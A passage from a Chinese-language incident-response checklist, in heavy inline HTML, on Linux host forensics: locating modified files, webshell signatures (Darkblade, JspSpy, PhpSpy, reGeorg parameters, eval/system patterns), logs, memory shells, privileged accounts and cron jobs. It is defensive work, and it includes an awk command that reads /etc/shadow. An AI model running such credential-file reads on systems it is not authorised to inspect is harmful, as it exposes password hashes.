14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>find ./ -ctime 0 -name <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;*.jsp&#34;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">4.查看文件详情：</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">stat</code>命令</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">stat</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">确认系统文件是否被替换，如<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">find</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">wget</code>等，查看文件信息</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">5.遇到无法查看的文件</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">lsattr</code> 文件名/文件夹</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>chattr -i<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">6.webshell文件查找</p><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">webshell特征</span></p></li></ul><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>Darkblade：goaction=login<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>JspSpy：o=login<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>PhpSpy：action=phpinfo<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>Regeorg：cmd=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">connect</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>Other：cmd=<br/></code></pre><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">恶意函数特征</span></p></li></ul><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>PHP：<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">eval</span>(、system(、assert(<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>JSP：getRunTime(、 FileOutputStream(<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>ASP：<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">eval</span>(、<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">execute</span>(、 <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">ExecuteGlobal</span>（<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">7.后门文件</p><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">webshell</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">应用程序</p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">如<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">python</code>打包文件：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">python3</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">pyinstxtractor</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.py</span> *<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.exe</span><br/></code></pre><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.5 日志文件</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1.应用系统日志</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">（1）中间件日志</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">tomcat</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>nginx<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>apache<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>其他……<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">（2）应用系统日志</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">2.安全设备日志</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">3.操作系统日志</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">主要目录<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/var/log/</code>：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">var</span>/log/cron  计划任务<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">var</span>/log/maillog  邮箱<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">var</span>/log/message  系统重要日志<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">var</span>/log/btmp  错误登录日志   命令：<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">`lastb`</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">var</span>/log/wtmp  登录、注销等日志   命令：<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">`last`</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">var</span>/log/utmp  当前已登录用户日志   命令： <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">`who`</span>、<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">`w`</span>、<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">`users`</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">var</span>/log/lastlog  所有用户最后一次登录时间   命令：<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">`lastlog`</span><br/></code></pre><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.6 内存</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">主要内存马等，检测：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">sc</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">javax</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.servlet</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.Servlet</span><br/></code></pre><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.7 应用部署情况相关</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1.框架结构<br/>2.网络访问控制（策略）<br/>3.通信交互（第三方通信等）</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.8 历史漏洞</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1.历史渗透报告<br/>2.漏扫结果<br/>3.是否通用程序存在CVE</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.9 关联资产</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">确认当前资产所关联的其他资产信息，包括：</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1.web前端<br/>2.web后台<br/>3.负载<br/>4.中间件<br/>5.数据库<br/>6.其他</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.10 恶意IP</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1.IP归属<br/>2.开放端口，对应服务 （反向渗透溯源）<br/>3.在线态势感知结果<br/>4.恶意域名解析情况：域名、注册邮箱、注册电话等</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.11 其他项</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1.帐号：<br/>（1）异常账户<br/>（2）特权账号</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">UID为0 ：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">awk</span> -F: <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$3</span>==0{print <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$1</span>}&#39;</span> /etc/passwd<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">（3）可远程登录的账号</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">awk</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$1</span>|<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$6</span>/{print <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$1</span>}&#39;</span> /etc/shadow<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">（4）其他sudo权限的账号</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">more</span> /etc/sudoers | grep -v <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;^#|^$&#34;</span> | grep <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;ALL=(ALL)&#34;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">（5）查看登陆多久、多少用户，负载</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uptime</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">2.计划任务<br/>查看定时任务</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">crontab</span> -l<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">关注目录:</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">/var/spool/cron/</span>* <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>/etc/crontab<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">/etc/cron.d/</span>*<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">/etc/cron.daily/</span>* <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">/etc/cron.hourly/</span>* <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">/etc/cron.monthly/</span>*<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">/etc/cron.weekly/</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 